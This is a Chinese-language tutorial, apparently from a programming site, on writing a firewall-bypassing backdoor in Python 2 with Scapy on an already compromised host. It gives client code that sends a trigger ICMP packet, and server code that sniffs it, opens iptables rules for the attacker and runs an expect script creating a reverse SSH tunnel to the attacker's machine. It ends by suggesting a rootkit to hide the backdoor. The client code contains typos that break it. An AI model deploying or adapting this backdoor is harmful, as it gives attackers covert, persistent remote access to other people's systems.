用Python編寫一個(gè)簡單的CS架構(gòu)后門的方法
0x00:事先說明
- 你已經(jīng)攻陷了對方主機(jī)且獲得了最高權(quán)限。
- 對方的本地防火墻會(huì)丟棄所有的外來數(shù)據(jù)包。
- 這個(gè)后門不會(huì)僅綁定在某一個(gè)端口上。
- 這段代碼很容易寫,畢竟是 Python(準(zhǔn)確說是 Python 2.x)。
0x01:工作原理
如你所見,客戶端將偽造具有 ICMP 負(fù)載的特定數(shù)據(jù)包,另一方面在服務(wù)端,也就是我們的被攻擊主機(jī),將會(huì)接受我們發(fā)送的數(shù)據(jù)包,即使它開啟了本地的防火墻(丟棄所有外來數(shù)據(jù)包)。關(guān)鍵在于無線網(wǎng)卡的監(jiān)聽模式,它無需和 AP 建立連接卻可以和接受所有流經(jīng)空氣的數(shù)據(jù)包。
我們會(huì)用到一個(gè)有用的第三方包 Scapy。這是它的官方文檔。如果你是第一次使用,不妨參考這篇文章,也許會(huì)有幫助。
0x02:客戶端代碼
''' 客戶端代碼。將服務(wù)端的 IP 地址、客戶端的 IP 地址、客戶端的連接端口,以及連接所需密碼作為程序輸入。如果成功返回一個(gè)交互式后門,在代碼硬編碼好的位置寫入日志文件信息。 ''' #! /usr/bin/env python import logging import socket from scapy.all import * import os import os.path import sys import time logging.getLongger("scapy.runtime").setLevel(loggin.ERROR) file_result = "/tmp/done" if len(sys.argv) != 5: print "usage : " + " IP_SERVER " + " CLIENT_IP " + " PORT_SSH_CLIENT " + “ PASSWORD_CLIENT ” sys.exit(1) server = sys.argv[1] if os.path.isfile(file_result): os.remove(file_result) load = sys.argv[2] + "|" + sys.argv[3] + "|" + sys.argv[4] pingr = IP(dst = server) / ICMP() / load send(pingr, verbose = 0) # send() 函數(shù)工作在協(xié)議棧的第三層(網(wǎng)絡(luò)層)
0x04:服務(wù)端代碼
服務(wù)端代碼分為兩塊:1. 主要腳本部分、2. ssh 隧道部分。
''' 服務(wù)端代碼之主要腳本部分。這個(gè)腳本會(huì)監(jiān)聽 ICMP 數(shù)據(jù)包并從句法上分析其攜帶的數(shù)據(jù)部分(客戶端 IP 地址、客戶端連接端口、連接所需密碼)。接著在本地打開兩個(gè)新的防火墻規(guī)則。最后調(diào)用另一個(gè) expect 腳本,以建立和客戶端之間穩(wěn)定的 ssh 連接。 ''' #! /usr/bin/env python import logging import socket from scapy.all import * import re import subprocess # py2.4 新增模塊,允許用戶編寫代碼生成新進(jìn)程,連接到它們的 input/output/error 管道,并獲取它們的返回/狀態(tài)碼。 logging.getLogger("scapy.runtime").setLevel(logging.ERROR) def icmp_monitor_callback(pkt): reg = re.compile("(.*)\|(.*)\|(.*)") g = reg.match(pkt.load) if g: subprocess.Popen(["/sbin/iptables", "-I", "INPUT", "1","-s",g.group(1),'-j','ACCEPT']) subprocess.Popen(["/sbin/iptables", "-I", "OUTPUT", "1","-d",g.group(1),'-j','ACCEPT']) p=subprocess.call(["/root/sshtunnel.sh", g.group(1),g.group(2),g.group(3)]) return sniff(prn=icmp_monitor_callback, filter="icmp", store=0) # scapy.sniff() 函數(shù)會(huì)嗅探來自空氣中的數(shù)據(jù)包,prn 參數(shù)用來指定回調(diào)函數(shù),每當(dāng)符合 filter 的報(bào)文被探測到時(shí),就會(huì)執(zhí)行回調(diào)函數(shù)。有關(guān)該函數(shù)的詳細(xì)信息,可以參考這篇博客:https://thepacketgeek.com/scapy-sniffing-with-custom-actions-part-1/
''' 服務(wù)端代碼之 ssh 隧道部分,實(shí)際上是一個(gè)簡單的 expect 腳本。接受嗅探到的客戶端 IP 地址、客戶端端口,以及用于連接的密碼作為輸入。 ''' #!/usr/bin/expect -f set ip [lindex $argv 0]; set port [lindex $argv 1]; set password [lindex $argv 2]; spawn ssh -o StrictHostKeyChecking=no -R 19999:localhost:$port $ip expect "*?assword:*" send "$password\r" expect "*#" send "touch /tmp/done\r" interact
0x05:文末思考
上面完成的后門代碼待完善的地方。
- ICMP payload 應(yīng)該被編碼。
- 添加其他的協(xié)議用來喚醒該后門(如 http、特定的 syn 包、dns 等)。
- 寫一個(gè) rootkit,隱藏該后門,猥瑣欲為。此乃后話。
有關(guān) rootkit 的延伸閱讀。
- http://www.dbjr.com.cn/article/151111.htm
- https://null-byte.wonderhowto.com/how-to/writing-windows-10-rootkit-part-1-0165781/
總結(jié)
以上就是這篇文章的全部內(nèi)容了,希望本文的內(nèi)容對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,謝謝大家對腳本之家的支持。如果你想了解更多相關(guān)內(nèi)容請查看下面相關(guān)鏈接
- python生成以及打開json、csv和txt文件的實(shí)例
- python pandas讀取csv后,獲取列標(biāo)簽的方法
- python 循環(huán)讀取txt文檔 并轉(zhuǎn)換成csv的方法
- Python Pandas批量讀取csv文件到dataframe的方法
- Python對CSV、Excel、txt、dat文件的處理
- 使用python的pandas庫讀取csv文件保存至mysql數(shù)據(jù)庫
- python3基于TCP實(shí)現(xiàn)CS架構(gòu)文件傳輸
- python cs架構(gòu)實(shí)現(xiàn)簡單文件傳輸
- Python簡單爬蟲導(dǎo)出CSV文件的實(shí)例講解
- Python讀取mat文件,并轉(zhuǎn)為csv文件的實(shí)例
相關(guān)文章
ubuntu系統(tǒng)下多個(gè)python版本如何設(shè)置默認(rèn)python和pip
pip是一個(gè)用來安裝Python軟件包的工具,下面這篇文章主要給大家介紹了關(guān)于ubuntu系統(tǒng)下多個(gè)python版本如何設(shè)置默認(rèn)python和pip的相關(guān)資料,文中通過代碼介紹的非常詳細(xì),需要的朋友可以參考下2023-12-12使用Python發(fā)送Post請求以及解析響應(yīng)結(jié)果
發(fā)送post的請求參考例子很簡單,實(shí)際遇到的情況卻是很復(fù)雜的,下面這篇文章主要給大家介紹了關(guān)于如何使用Python發(fā)送Post請求以及解析響應(yīng)結(jié)果的相關(guān)資料,文中通過實(shí)例代碼介紹的非常詳細(xì),需要的朋友可以參考下2023-06-06YOLOv5改進(jìn)之添加CBAM注意力機(jī)制的方法
注意力機(jī)制最先被用在NLP領(lǐng)域,Attention就是為了讓模型認(rèn)識(shí)到數(shù)據(jù)中哪一部分是最重要的,為它分配更大的權(quán)重,獲得更多的注意力在一些特征上,讓模型表現(xiàn)更好,這篇文章主要給大家介紹了關(guān)于YOLOv5改進(jìn)之添加CBAM注意力機(jī)制的相關(guān)資料,需要的朋友可以參考下2022-11-11使用TensorFlow直接獲取處理MNIST數(shù)據(jù)方式
今天小編就為大家分享一篇使用TensorFlow直接獲取處理MNIST數(shù)據(jù)方式,具有很好的參考價(jià)值,希望對大家有所幫助。一起跟隨小編過來看看吧2020-02-02python利用遞歸方法實(shí)現(xiàn)求集合的冪集
這篇文章主要給大家介紹了關(guān)于python利用遞歸方法實(shí)現(xiàn)求集合的冪集的相關(guān)資料,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2020-09-09淺談Python中range與Numpy中arange的比較
這篇文章主要介紹了淺談Python中range與Numpy中arange的比較,具有很好的參考價(jià)值,希望對大家有所幫助。一起跟隨小編過來看看吧2020-03-03